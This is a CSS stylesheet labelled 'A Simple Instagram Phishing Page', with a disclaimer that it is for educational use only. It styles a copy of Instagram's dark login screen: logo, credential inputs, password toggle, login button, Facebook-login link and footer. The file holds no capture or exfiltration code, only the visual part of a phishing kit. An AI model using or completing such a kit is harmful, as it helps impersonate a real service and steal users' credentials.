hatixntsoa.site
A Simple Instagram Phishing Page • For educational use only • The author is not responsible for illegal misuse.
1* {
2 margin: 0;
3 padding: 0;
4 box-sizing: border-box;
5 font-family: Arial, sans-serif;
6 user-select: none;
7}
8
9body {
10 background-color: #000;
11 color: #fff;
12 display: flex;
13 flex-direction: column;
14 align-items: center;
15 justify-content: center;
16 min-height: 100vh;
17}
18
19.container {
20 margin-top: 13px;
21}
22
23.logo {
24 display:block;
25 margin: 0 auto 30px auto;
26 max-width: 100%;
27 height: 63px;
28 object-fit: contain;
29}
30
31.login-box {
32 background-color: #000;
33 border: 0.5px solid #363636;
34 padding: 40px 40px 20px 40px;
35 width: 350px;
36 text-align: center;
37}
38
39.logo {
40 font-family: 'Brush Script MT', cursive;
41 font-size: 40px;
42 margin-bottom: 20px;
43}
44
45input {
46 width: 100%;
47 height: 38px;
48 padding: 10px;
49 margin: 5px 0;
50 background: #121212;
51 border: 0.5px solid #555555;
52 border-radius: 4px;
53 color: #fff;
54}
55
56input:focus {
57 outline: none;
58 box-shadow: none;
59}
60
61.input-wrapper {
62 position: relative;
63 user-select: none;
64}
65
66.input-wrapper input {
67 width: 100%;
68 padding: 10px 8px 10px;
69 background: #121212;
70 border: 0.5px solid #555555;
71 color: #fff;
72 user-select: none;
73 line-height: 30px;
74}
75
76.label-text {
77 color: #a8a8a8;
78}
79
80.input-wrapper input:not(:placeholder-shown) {
81 padding-bottom: 0;
82}
83
84.input-wrapper label {
85 position: absolute;
86 left: 8px;
87 top: 50%;
88 transform: translateY(-50%);
89 color: #aaa;
90 pointer-events: none;
91 font-size: 12px;
92}
93
94.input-wrapper input:not(:placeholder-shown) + label {
95 top: 13px;
96 font-size: 10px;
97 background-color: #000;
98 padding: 0;
99}
100
101.toggle-password {
102 position: absolute;
103 right: 10px;
104 top: 50%;
105 transform: translateY(-50%);
106 background: none;
107 border: none;
108 color: #fff;
109 font-weight: bold;
110 cursor: pointer;
111 font-size: 14px;
112 padding: 0;
113 display: none;
114 user-select: none;
115}
116
117.toggle-password:hover {
118 color: #898989;
119}
120
121.toggle-password:focus {
122 outline: none;
123}
124
125.login-btn {
126 width: 100%;
127 padding: 10px;
128 background-color: #4150f7;
129 border-radius: 8px;
130 color: white;
131 border: none;
132 margin: 10px 0;
133 cursor: pointer;
134 font-weight: bold;
135}
136
137.login-btn:disabled {
138 opacity: 0.5;
139}
140
141.divider {
142 display: flex;
143 align-items: center;
144 text-align: center;
145 margin: 10px 0;
146 color: #999;
147}
148
149.divider span {
150 font-size: 13px;
151 font-weight: bold;
152}
153
154.divider::before, .divider::after {
155 content: '';
156 flex: 1;
157 height: 0.5px;
158 background: #262626;
159}
160
161.divider::before {
162 margin-right: 10px;
163}
164
165.divider::after {
166 margin-left: 10px;
167}
168
169.fb-logo {
170 height: 20px;
171 vertical-align: middle;
172 margin-right: 3px;
173}
174
175.facephish-login {
176 padding-top: 30px;
177 color: #0095f6;
178 text-decoration: none;
179 font-weight: bold;
180 font-size: 14px;
181 display: block;
182 margin: 10px 0;
183}
184
185.forgot {
186 color: #fff;
187 font-weight: bold;
188 text-decoration: none;
189 font-size: 14px;
190}
191
192.forgot:hover {
193 text-decoration: underline;
194}
195
196.signup-box {
197 background-color: #000;
198 border: 0.5px solid #363636;
199 padding: 20px;
200 margin-top: 10px;
201 text-align: center;
202 width: 100%;
203 font-size: 14.5px;
204 margin-left: auto;
205 margin-right: auto;
206}
207
208.signup-box a {
209 color: #0095f6;
210 text-decoration: none;
211}
212
213footer {
214 margin-top: 50px;
215 padding: 20px;
216 text-align: center;
217 font-size: 12px;
218 color: #999;
219}
220
221.footer-links {
222 display: flex;
223 flex-wrap: wrap;
224 justify-content: center;
225 gap: 15px;
226 margin-bottom: 20px;
227}
228
229.footer-links a {
230 color: #999;
231 text-decoration: none;
232}
233
234.footer-bottom {
235 display: flex;
236 justify-content: center;
237 align-items: center;
238 /* gap: 10px; */
239 margin-top: 10px;
240}
241
242.footer-bottom select {
243 background-color: #000;
244 color: #999;
245 text-align: right;
246 font-size: 12px;
247 margin-right: 12px;
248 border: none;
249 outline: none;
250}
251
252.footer-bottom select:focus {
253 border-color: inherit;
254 outline: none;
255}
256
257.measure-text {
258 visibility: hidden;
259 position: absolute;
260 white-space: nowrap;
261 font-size: 12px;
262 font-family: inherit;
263 font-weight: normal;
264 padding: 0;
265}